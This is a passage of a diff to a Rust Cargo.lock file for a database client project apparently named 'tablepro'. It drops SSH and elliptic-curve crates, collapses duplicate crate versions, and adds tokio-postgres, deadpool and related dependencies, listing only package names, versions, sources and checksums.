-source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e15f3e5b957493873e396a66914e83e616b6afe335cdef7efe5c6e1216aba66" -dependencies = [ - "hybrid-array", - "kem", - "module-lattice", - "pkcs8", - "rand_core 0.10.1", - "sha3 0.11.0", -] - -[[package]] -name = "module-lattice" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c61b87c9683ab7cb1c6871d261ad5479b6b10ceb52c4352aaca3b5d35a8febe" -dependencies = [ - "ctutils", - "hybrid-array", - "num-traits", -] - [[package]] name = "multiversion" version = "0.9.0" @@ -2948,18 +2611,6 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "743fb55ba31b18fb1ecef6bdc9aa2743314978ac084044301a7eee33fb99a20d" -[[package]] -name = "nix" -version = "0.31.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf20d2fde8ff38632c426f1165ed7436270b44f199fc55284c38276f9db47c3d" -dependencies = [ - "bitflags 2.13.2", - "cfg-if", - "cfg_aliases", - "libc", -] - [[package]] name = "nom" version = "7.1.3" @@ -2985,7 +2636,7 @@ version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "35bd024e8b2ff75562e5f34e7f4905839deb4b22955ef5e73d2fea1b9813cb23" dependencies = [ - "num-bigint 0.4.8", + "num-bigint", "num-complex", "num-integer", "num-iter", @@ -3003,18 +2654,6 @@ dependencies = [ "num-traits", ] -[[package]] -name = "num-bigint" -version = "0.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93e7820bc0a80a0238e650327316f929ba18d5be054b647490a3a6a339f3e7c0" -dependencies = [ - "num-integer", - "num-traits", - "rand 0.10.2", - "rand_core 0.10.1", -] - [[package]] name = "num-bigint-dig" version = "0.9.1" @@ -3072,7 +2711,7 @@ version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f83d14da390562dca69fc84082e73e548e1ad308d24accdedd2720017cb37824" dependencies = [ - "num-bigint 0.4.8", + "num-bigint", "num-integer", "num-traits", ] @@ -3106,6 +2745,24 @@ dependencies = [ "objc_id", ] +[[package]] +name = "objc2-core-foundation" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536" +dependencies = [ + "bitflags 2.13.2", +] + +[[package]] +name = "objc2-system-configuration" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7216bd11cbda54ccabcab84d523dc93b858ec75ecfb3a7d89513fa22464da396" +dependencies = [ + "objc2-core-foundation", +] + [[package]] name = "objc_id" version = "0.1.1" @@ -3136,10 +2793,10 @@ version = "0.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "78f2bfed90f1618b4b48dcad9307f25e14ae894e2949642c87c351601d62cebd" dependencies = [ - "aes 0.8.4", + "aes", "ashpd", - "cbc 0.1.2", - "cipher 0.4.4", + "cbc", + "cipher", "digest 0.10.7", "endi", "futures-util", @@ -3149,7 +2806,7 @@ dependencies = [ "md-5 0.10.6", "num", "num-bigint-dig", - "pbkdf2 0.12.2", + "pbkdf2", "serde", "serde_bytes", "sha2 0.10.9", @@ -3177,67 +2834,6 @@ dependencies = [ "pin-project-lite", ] -[[package]] -name = "p256" -version = "0.14.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d2c9239b2dbc807adbbe147e8cf72ea7450c3a0aabe62cb8e75ff4ec22e1f72a" -dependencies = [ - "ecdsa", - "elliptic-curve", - "primefield", - "primeorder", - "sha2 0.11.0", -] - -[[package]] -name = "p384" -version = "0.14.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d17b851e6b3e378ab4ecb07fa2ed23f4d15f075735f8fec9fa1e7bdce5f8301f" -dependencies = [ - "ecdsa", - "elliptic-curve", - "fiat-crypto", - "primefield", - "primeorder", - "sha2 0.11.0", -] - -[[package]] -name = "p521" -version = "0.14.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4ad64cc32c2dc466317c12ee5853e61f159f9eab1fe7efade0395dc2e7b43449" -dependencies = [ - "base16ct", - "ecdsa", - "elliptic-curve", - "primefield", - "primeorder", - "sha2 0.11.0", -] - -[[package]] -name = "pageant" -version = "0.2.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d8eab09a361a4afe0b1668be978cd97e4f052e927a92b0b608cf902965d49ce" -dependencies = [ - "base16ct", - "byteorder", - "bytes", - "delegate", - "futures", - "log", - "rand 0.10.2", - "sha2 0.11.0", - "thiserror 2.0.20", - "tokio", - "windows", - "windows-strings", -] - [[package]] name = "pango" version = "0.22.9" @@ -3315,15 +2911,6 @@ dependencies = [ "syn 2.0.119", ] -[[package]] -name = "password-hash" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aab41826031698d6ffcd9cff78ef56ef998e39dc7e5067cdfebe373842d4723b" -dependencies = [ - "phc", -] - [[package]] name = "pbkdf2" version = "0.12.2" @@ -3334,16 +2921,6 @@ dependencies = [ "hmac 0.12.1", ] -[[package]] -name = "pbkdf2" -version = "0.13.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "112d82ceb8c5bf524d9af484d4e4970c9fd5a0cc15ba14ad93dccd28873b0629" -dependencies = [ - "digest 0.11.3", - "hmac 0.13.0", -] - [[package]] name = "pem" version = "4.0.0" @@ -3370,13 +2947,22 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220" [[package]] -name = "phc" -version = "0.6.1" +name = "phf" +version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44dc769b75f93afdddd8c7fa12d685292ddeff1e66f7f0f3a234cf1818afe892" +checksum = "c1562dc717473dbaa4c1f85a36410e03c047b2e7df7f45ee938fbef64ae7fadf" dependencies = [ - "base64ct", - "ctutils", + "phf_shared", + "serde", +] + +[[package]] +name = "phf_shared" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e57fef6bc5981e38c2ce2d63bfa546861309f875b8a75f092d1d54ae2d64f266" +dependencies = [ + "siphasher", ] [[package]] @@ -3411,25 +2997,8 @@ version = "0.8.0-rc.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "986d2e952779af96ea048f160fd9194e1751b4faea78bcf3ceb456efe008088e" dependencies = [ - "der", - "spki", -] - -[[package]] -name = "pkcs5" -version = "0.8.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "63d440a804ec8d6fafbb6b84471e013286658d373248927692ab3366686220ca" -dependencies = [ - "aes 0.9.3", - "aes-gcm", - "cbc 0.2.1", - "der", - "pbkdf2 0.13.0", - "rand_core 0.10.1", - "scrypt", - "sha2 0.11.0", - "spki", + "der 0.8.2", + "spki 0.8.0", ] [[package]] @@ -3438,10 +3007,8 @@ version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "451913da69c775a56034ea8d9003d27ee8948e12443eae7c038ba100a4f21cb7" dependencies = [ - "der", - "pkcs5", - "rand_core 0.10.1", - "spki", + "der 0.8.2", + "spki 0.8.0", ] [[package]] @@ -3451,41 +3018,48 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f6b464fbc74e149a392436b17d523f769e057cb6877f6a5c4618bc6f11800548" [[package]] -name = "poly1305" -version = "0.9.1" +name = "portable-atomic" +version = "1.15.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6e2d0073b297041425c7c3df6eb4792d598a15323fe63346852b092eca02904c" -dependencies = [ - "cpufeatures 0.3.1", - "universal-hash", - "zeroize", -] +checksum = "05c8b63e8d9609db387f0324918f81d68fe27748f084ef092fb35954d0539a85" [[package]] -name = "polyval" -version = "0.7.3" +name = "portable-atomic-util" +version = "0.2.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0fa31d631f2b2cb2a544d0aa321ce847a94764d701ca2becc411138b93d49cd" +checksum = "10ab3eb7f3becc3a1cbc4f2c6f20267996cfc1a6467a873763411b136a122715" dependencies = [ - "cpubits", - "cpufeatures 0.3.1", - "universal-hash", - "zeroize", + "portable-atomic", ] [[package]] -name = "portable-atomic" -version = "1.15.0" +name = "postgres-protocol" +version = "0.6.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "05c8b63e8d9609db387f0324918f81d68fe27748f084ef092fb35954d0539a85" +checksum = "08808e3c483c46e999108051c78334f473d5adb59d78bb80a1268c7e6aa6c514" +dependencies = [ + "base64 0.22.1", + "byteorder", + "bytes", + "fallible-iterator", + "hmac 0.13.0", + "md-5 0.11.0", + "memchr", + "rand 0.10.2", + "sha2 0.11.0", + "stringprep", +] [[package]] -name = "portable-atomic-util" -version = "0.2.8" +name = "postgres-types" +version = "0.2.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "10ab3eb7f3becc3a1cbc4f2c6f20267996cfc1a6467a873763411b136a122715" +checksum = "851ca9db4932932d69f3ea811b1abe63087a0f740a47692619dd40d4899b68be" dependencies = [ - "portable-atomic", + "bytes", + "chrono", + "fallible-iterator", + "postgres-protocol", ] [[package]] @@ -3514,9 +3088,9 @@ dependencies = [ [[package]] name = "pretty-hex" -version = "0.3.0" +version = "0.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c6fa0831dd7cc608c38a5e323422a0077678fa5744aa2be4ad91c4ece8eec8d5" +checksum = "9a65843dfefbafd3c879c683306959a6de478443ffe9c9adf02f5976432402d7" [[package]] name = "prettyplease" @@ -3528,33 +3102,6 @@ dependencies = [ "syn 2.0.119", ] -[[package]] -name = "primefield" -version = "0.14.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c555a6e4eb7d4e158fcb028c835c3b8642206ddc279b5c6b202ef9a8bdb592f4" -dependencies = [ - "crypto-bigint", - "crypto-common 0.2.2", - "ff", - "rand_core 0.10.1", - "subtle", - "zeroize", -] - -[[package]] -name = "primeorder" -version = "0.14.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c9f42978c78a00e3d68f69fc03e57a234debae69da4020a4fb588fcdcd07b06" -dependencies = [ - "elliptic-curve", - "once_cell", - "primefield", - "serdect", - "wnaf", -] - [[package]] name = "proc-macro-crate" version = "3.5.0" @@ -3584,7 +3131,7 @@ dependencies = [ "bitflags 2.13.2", "num-traits", "rand 0.9.5", - "rand_chacha 0.9.0", + "rand_chacha", "rand_xorshift", "regex-syntax", "rusty-fork", @@ -3651,24 +3198,13 @@ version = "6.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf" -[[package]] -name = "rand" -version = "0.8.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e058c7de0b26af77780c769414d6257830bb240f3c38477dbc2c16e5f54d6d4c" -dependencies = [ - "libc", - "rand_chacha 0.3.1", - "rand_core 0.6.4", -] - [[package]] name = "rand" version = "0.9.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b9ef1d0d795eb7d84685bca4f72f3649f064e6641543d3a8c415898726a57b41" dependencies = [ - "rand_chacha 0.9.0", + "rand_chacha", "rand_core 0.9.5", ] @@ -3683,16 +3219,6 @@ dependencies = [ "rand_core 0.10.1", ] -[[package]] -name = "rand_chacha" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" -dependencies = [ - "ppv-lite86", - "rand_core 0.6.4", -] - [[package]] name = "rand_chacha" version = "0.9.0" @@ -3703,15 +3229,6 @@ dependencies = [ "rand_core 0.9.5", ] -[[package]] -name = "rand_core" -version = "0.6.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" -dependencies = [ - "getrandom 0.2.17", -] - [[package]] name = "rand_core" version = "0.9.5" @@ -3871,16 +3388,6 @@ dependencies = [ "web-sys", ] -[[package]] -name = "rfc6979" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4a459cddafb3fe76b31fd8f1108007566c40301feb64dc7b54656eb7388172b" -dependencies = [ - "crypto-bigint", - "hmac 0.13.0", -] - [[package]] name = "ring" version = "0.17.14" @@ -3901,131 +3408,18 @@ version = "0.10.0-rc.18" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "30b2aa4ba0d89f73d1e332df05be0eeab8840351c36ca5654341dfdb57bb3caf" dependencies = [ - "const-oid", + "const-oid 0.10.2", "crypto-bigint", "crypto-primes", "digest 0.11.3", "pkcs1", "pkcs8", "rand_core 0.10.1", - "sha2 0.11.0", - "signature", - "spki", - "zeroize", -] - -[[package]] -name = "russh" -version = "0.63.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "036204edbd199552a5b3832f63c60dcdf395dc44c7f06b4af1c0e8139cc11bce" -dependencies = [ - "aes 0.9.3", - "aws-lc-rs", - "bitflags 2.13.2", - "block-padding 0.4.2", - "byteorder", - "bytes", - "cbc 0.2.1", - "cipher 0.5.2", - "crypto-bigint", - "ctr", - "curve25519-dalek", - "data-encoding", - "delegate", - "der", - "digest 0.11.3", - "ecdsa", - "ed25519-dalek", - "elliptic-curve", - "enum_dispatch", - "flate2", - "futures", - "generic-array 1.4.5", - "getrandom 0.4.3", - "ghash", - "hex-literal", - "hmac 0.13.0", - "inout 0.2.2", - "keccak", - "log", - "md5", - "ml-kem", - "module-lattice", - "num-bigint 0.5.1", - "p256", - "p384", - "p521", - "pageant", - "pbkdf2 0.13.0", - "pkcs1", - "pkcs5", - "pkcs8", - "polyval", - "rand 0.10.2", - "rand_core 0.10.1", - "rsa", - "russh-cryptovec", - "russh-util", - "salsa20", - "scrypt", - "sec1", - "sha1", - "sha2 0.11.0", - "sha3 0.12.0", "signature", - "spki", - "ssh-encoding", - "ssh-key", - "subtle", - "thiserror 2.0.20", - "tokio", - "typenum", - "universal-hash", + "spki 0.8.0", "zeroize", ] -[[package]] -name = "russh-cryptovec" -version = "0.62.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3aec6cb630dbe85d72ffd7bcd95f07e1bd69f9f270ee8adfa1afe443a6331438" -dependencies = [ - "log", - "nix", - "ssh-encoding", - "windows-sys 0.61.2", -] - -[[package]] -name = "russh-util" -version = "0.52.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "668424a5dde0bcb45b55ba7de8476b93831b4aa2fa6947e145f3b053e22c60b6" -dependencies = [ - "chrono", - "tokio", - "wasm-bindgen", - "wasm-bindgen-futures", -] - -[[package]] -name = "rust_decimal" -version = "1.43.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7653272e75dcac41dc199fbea6f5797633994fafd339943c06c9af16bf29cd3a" -dependencies = [ - "arrayvec", - "borsh", - "bytes", - "num-traits", - "rand 0.8.8", - "rand 0.9.5", - "serde", - "serde_json", - "wasm-bindgen", -] - [[package]] name = "rust_xlsxwriter" version = "0.99.1" @@ -4172,16 +3566,6 @@ version = "1.0.23" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" -[[package]] -name = "salsa20" -version = "0.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2f874456e72520ff1375a06c588eaf074b0f01f9e9e1aada45bd9b7954a6e42c" -dependencies = [ - "cfg-if", - "cipher 0.5.2", -] - [[package]] name = "same-file" version = "1.0.6" @@ -4230,32 +3614,6 @@ version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" -[[package]] -name = "scrypt" -version = "0.12.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d87af57419b594aa23fa95f09f0e06d80d84ba01c26148c43844cad6ff4485f0" -dependencies = [ - "cfg-if", - "pbkdf2 0.13.0", - "salsa20", - "sha2 0.11.0", -] - -[[package]] -name = "sec1" -version = "0.8.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d56d437c2f19203ce5f7122e507831de96f3d2d4d3be5af44a0b0a09d8a80e4d" -dependencies = [ - "base16ct", - "ctutils", - "der", - "hybrid-array", - "subtle", - "zeroize", -] - [[package]] name = "secrecy" version = "0.10.3" @@ -4468,27 +3826,6 @@ dependencies = [ "digest 0.11.3", ] -[[package]] -name = "sha3" -version = "0.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be176f1a57ce4e3d31c1a166222d9768de5954f811601fb7ca06fc8203905ce1" -dependencies = [ - "digest 0.11.3", - "keccak", -] - -[[package]] -name = "sha3" -version = "0.12.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc9bad02c26382724b2d2692c6f179285e4b54eeecd7968f52a50059c3c11759" -dependencies = [ - "digest 0.11.3", - "keccak", - "sponge-cursor", -] - [[package]] name = "sharded-slab" version = "0.1.7" @@ -4552,6 +3889,12 @@ version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e" +[[package]] +name = "siphasher" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33f4fe9184a62d842c9ef383018f3306d8ba224fd9d836f56d7288308847c256" + [[package]] name = "slab" version = "0.4.12" @@ -4623,19 +3966,23 @@ dependencies = [ [[package]] name = "spki" -version = "0.8.0" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d9efca8738c78ee9484207732f728b1ef517bbb1833d6fc0879ca898a522f6f" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" dependencies = [ "base64ct", - "der", + "der 0.7.10", ] [[package]] -name = "sponge-cursor" -version = "0.1.0" +name = "spki" +version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3a0219bd7d979d58245a4f41f695e1ac9f8befdffadd7f61f1bae9e39abc6620" +checksum = "1d9efca8738c78ee9484207732f728b1ef517bbb1833d6fc0879ca898a522f6f" +dependencies = [ + "base64ct", + "der 0.8.2", +] [[package]] name = "sqlformat" @@ -4676,7 +4023,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "05b44e85bf579a8eeb4ceaa77a3a523baf2bf0e9bac7e40f405d537b5d2d5ccb" dependencies = [ "base64 0.22.1", - "bit-vec 0.8.0", "bytes", "cfg-if", "chrono", @@ -4694,13 +4040,12 @@ dependencies = [ "log", "memchr", "percent-encoding", - "rust_decimal", "rustls", "serde", "serde_json", "sha2 0.10.9", "smallvec", - "thiserror 2.0.20", + "thiserror", "tokio", "tokio-stream", "tracing", @@ -4743,7 +4088,7 @@ dependencies = [ "sqlx-postgres", "sqlx-sqlite", "syn 2.0.119", - "thiserror 2.0.20", + "thiserror", "tokio", "url", ] @@ -4764,17 +4109,16 @@ dependencies = [ "either", "futures-core", "futures-util", - "generic-array 0.14.7", + "generic-array", "log", "percent-encoding", "rand 0.10.2", "rsa", - "rust_decimal", "serde", "sha1", "sha2 0.11.0", "sqlx-core", - "thiserror 2.0.20", + "thiserror", "tracing", "uuid", ] @@ -4787,7 +4131,6 @@ checksum = "87a2bdd6e83f6b3ea525ca9fee568030508b58355a43d0b2c1674d5f79dcd65e" dependencies = [ "atoi", "base64 0.22.1", - "bit-vec 0.8.0", "bitflags 2.13.2", "byteorder", "chrono", @@ -4805,14 +4148,13 @@ dependencies = [ "md-5 0.11.0", "memchr", "rand 0.10.2", - "rust_decimal", "serde", "serde_json", "sha2 0.11.0", "smallvec", "sqlx-core", "stringprep", - "thiserror 2.0.20", + "thiserror", "tracing", "uuid", "whoami", @@ -4838,71 +4180,12 @@ dependencies = [ "percent-encoding", "serde", "sqlx-core", - "thiserror 2.0.20", + "thiserror", "tracing", "url", "uuid", ] -[[package]] -name = "ssh-cipher" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d801accda99469cde6d73da741422610fdf6508a72d9a69d1b55cb241c720597" -dependencies = [ - "aead", - "aes 0.9.3", - "aes-gcm", - "chacha20", - "cipher 0.5.2", - "ctutils", - "des", - "poly1305", - "ssh-encoding", - "zeroize", -] - -[[package]] -name = "ssh-encoding" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7b54d0ed0498daf3f78d82e00e28c8eec9d75a067c4cfbcc7a0f7d0f4077749e" -dependencies = [ - "base64ct", - "bytes", - "crypto-bigint", - "ctutils", - "digest 0.11.3", - "pem-rfc7468", - "zeroize", -] - -[[package]] -name = "ssh-key" -version = "0.7.0-rc.11" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f9a32fae177b74a22aa9c5b01bf7e68b33545be32d9e381e248058d2adc15ce3" -dependencies = [ - "argon2", - "bcrypt-pbkdf", - "ctutils", - "ed25519-dalek", - "hex", - "hmac 0.13.0", - "p256", - "p384", - "p521", - "rand_core 0.10.1", - "rsa", - "sec1", - "sha1", - "sha2 0.11.0", - "signature", - "ssh-cipher", - "ssh-encoding", - "zeroize", -] - [[package]] name = "stable_deref_trait" version = "1.2.1" @@ -5028,6 +4311,7 @@ name = "tablepro" version = "0.0.0" dependencies = [ "chrono", + "futures", "gettext-rs", "gio", "glib", @@ -5035,7 +4319,6 @@ dependencies = [ "gtk4", "libadwaita", "relm4", - "rust_decimal", "secrecy", "serde", "serde_json", @@ -5047,12 +4330,13 @@ dependencies = [ "tablepro-driver-mysql", "tablepro-driver-postgres", "tablepro-driver-sqlite", + "tablepro-net", "tablepro-session", "tablepro-ssh", "tablepro-storage", "tablepro-test-support", "tempfile", - "thiserror 2.0.20", + "thiserror", "tokio", "tokio-util", "tracing", @@ -5068,7 +4352,7 @@ dependencies = [ "chrono", "csv", "futures", - "num-bigint 0.4.8", + "num-bigint", "proptest", "rust_xlsxwriter", "rustls-pki-types", @@ -5076,7 +4360,7 @@ dependencies = [ "serde", "serde_json", "sqlparser", - "thiserror 2.0.20", + "thiserror", "tokio", "tokio-util", "uuid", @@ -5089,12 +4373,24 @@ dependencies = [ "async-trait", "chrono", "clickhouse", + "clickhouse-types", + "http", + "hyper-rustls", + "hyper-util", + "rustls", + "rustls-pki-types", "secrecy", "serde", "serde_json", + "sqlparser", "tablepro-core", - "testcontainers", + "tablepro-net", + "tablepro-test-fixtures", + "tablepro-test-support", "tokio", + "tokio-util", + "tower-service", + "tracing", "uuid", ] @@ -5104,15 +4400,17 @@ version = "0.0.0" dependencies = [ "async-trait", "chrono", - "futures", - "rust_decimal", + "deadpool", + "futures-util", "secrecy", "tablepro-core", - "testcontainers", - "testcontainers-modules", + "tablepro-net", + "tablepro-test-fixtures", + "tablepro-test-support", "tiberius", "tokio", "tokio-util", + "tracing", "uuid", ] @@ -5122,17 +4420,19 @@ version = "0.0.0" dependencies = [ "async-trait", "chrono", - "futures", - "rust_decimal", + "deadpool", + "futures-util", "secrecy", - "serde_json", "sqlx", "tablepro-core", "tablepro-net", - "testcontainers", - "testcontainers-modules", + "tablepro-test-fixtures", + "tablepro-test-support", + "thiserror", "tokio", - "uuid", + "tokio-util", + "tracing", + "tracing-subscriber", ] [[package]] @@ -5140,19 +4440,24 @@ name = "tablepro-driver-postgres" version = "0.0.0" dependencies = [ "async-trait", + "bytes", "chrono", - "futures", - "rust_decimal", + "deadpool-postgres", + "fallible-iterator", + "futures-util", + "postgres-protocol", + "postgres-types", "rustls", "secrecy", - "serde_json", - "sqlx", "tablepro-core", "tablepro-net", "tablepro-test-fixtures", - "testcontainers", - "testcontainers-modules", + "tablepro-test-support", "tokio", + "tokio-postgres", + "tokio-postgres-rustls", + "tokio-util", + "tracing", "uuid", ] @@ -5161,13 +4466,18 @@ name = "tablepro-driver-sqlite" version = "0.0.0" dependencies = [ "async-trait", - "chrono", "futures", "libsqlite3-sys", + "sqlparser", "sqlx", "tablepro-core", + "tablepro-test-support", "tempfile", "tokio", + "tokio-util", + "tracing", + "tracing-subscriber", + "uuid", ] [[package]] @@ -5187,7 +4497,7 @@ dependencies = [ "socket2", "tablepro-core", "tempfile", - "thiserror 2.0.20", + "thiserror", "tokio", "tokio-rustls", "tower-service", @@ -5199,10 +4509,20 @@ name = "tablepro-session" version = "0.0.0" dependencies = [ "futures", - "thiserror 2.0.20", + "secrecy", + "tablepro-core", + "tablepro-driver-postgres", + "tablepro-net", + "tablepro-ssh", + "tablepro-storage", + "tablepro-test-fixtures", + "tablepro-test-support", + "tempfile", + "thiserror", "tokio", "tokio-util", "tracing", + "uuid", ] [[package]] @@ -5211,13 +4531,12 @@ version = "0.0.0" dependencies = [ "async-trait", "futures", - "russh", "secrecy", "tablepro-core", "tablepro-test-support", "tempfile", "testcontainers", - "thiserror 2.0.20", + "thiserror", "tokio", "tokio-util", "tracing", @@ -5240,7 +4559,7 @@ dependencies = [ "sqlx", "tablepro-core", "tempfile", - "thiserror 2.0.20", + "thiserror", "tokio", "uuid", ] @@ -5254,7 +4573,7 @@ dependencies = [ "tempfile", "testcontainers", "testcontainers-modules", - "thiserror 2.0.20", + "thiserror", "tiberius", "tokio", "tokio-rustls", @@ -5270,7 +4589,10 @@ dependencies = [ "futures", "secrecy", "tablepro-core", + "tablepro-net", + "tempfile", "tokio", + "tokio-util", "uuid", ] @@ -5324,7 +4646,7 @@ dependencies = [ "serde", "serde_json", "serde_with", - "thiserror 2.0.20", + "thiserror", "tokio", "tokio-stream", "tokio-util", @@ -5340,33 +4662,13 @@ dependencies = [ "testcontainers", ] -[[package]] -name = "thiserror" -version = "1.0.69" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" -dependencies = [ - "thiserror-impl 1.0.69", -] - [[package]] name = "thiserror" version = "2.0.20" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec86235f5fcc2a73650310756d2ac5b138a5780bbbdfae3eeccec992c435ba4f" dependencies = [ - "thiserror-impl 2.0.20", -] - -[[package]] -name = "thiserror-impl" -version = "1.0.69" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.119", + "thiserror-impl", ] [[package]] @@ -5391,8 +4693,9 @@ dependencies = [ [[package]] name = "tiberius" -version = "0.12.3" -source = "git+https://github.com/tiberius-rs/tiberius?rev=c1d2e741ee6fe0935091826d91fb5886b6a4082a#c1d2e741ee6fe0935091826d91fb5886b6a4082a" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e07324791de2bdaed058af4aa433a0b5ec5c0beac407a9797419c19805df2415" dependencies = [ "async-trait", "asynchronous-codec", @@ -5402,20 +4705,36 @@ dependencies = [ "connection-string", "encoding_rs", "enumflags2", + "futures-timer", "futures-util", + "libc", "libgssapi", "num-traits", "once_cell", "pin-project-lite", "pretty-hex", - "rust_decimal", "rustls-native-certs", + "rustls-pki-types", "rustls-webpki", - "thiserror 1.0.69", + "secrecy", + "thiserror", + "tiberius-macros", "tokio-rustls", "tokio-util", "tracing", "uuid", + "zeroize", +] + +[[package]] +name = "tiberius-macros" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "907fed5ea55695d902cc3359fffa4a35021dfa9b95ab4eb9c8376d42ffb9eec8" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", ] [[package]] @@ -5464,6 +4783,27 @@ version = "1.13.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fd3ca314f692efd6c868f8408f53fe444634a845f96c028b97d35f6a1f79f0ee" +[[package]] +name = "tls_codec" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0de2e01245e2bb89d6f05801c564fa27624dbd7b1846859876c7dad82e90bf6b" +dependencies = [ + "tls_codec_derive", + "zeroize", +] + +[[package]] +name = "tls_codec_derive" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d2e76690929402faae40aebdda620a2c0e25dd6d3b9afe48867dfd95991f4bd" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + [[package]] name = "tokio" version = "1.53.1" @@ -5492,6 +4832,46 @@ dependencies = [ "syn 3.0.5", ] +[[package]] +name = "tokio-postgres" +version = "0.7.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a528f7d280f6d5b9cd149635c8705b0dd049754bc67d81d31fa25169a93809d3" +dependencies = [ + "async-trait", + "byteorder", + "bytes", + "fallible-iterator", + "futures-channel", + "futures-util", + "log", + "parking_lot", + "percent-encoding", + "phf", + "pin-project-lite", + "postgres-protocol", + "postgres-types", + "rand 0.10.2", + "socket2", + "tokio", + "tokio-util", + "whoami", +] + +[[package]] +name = "tokio-postgres-rustls" +version = "0.14.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c2ad44aa0ae96db89c4742212ed41645b2f597311ff6e1945542a4d9fadc2fb" +dependencies = [ + "rustls", + "sha2 0.11.0", + "tokio", + "tokio-postgres", + "tokio-rustls", + "x509-cert", +] + [[package]] name = "tokio-rustls" version = "0.26.5" @@ -5812,16 +5192,6 @@ version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = 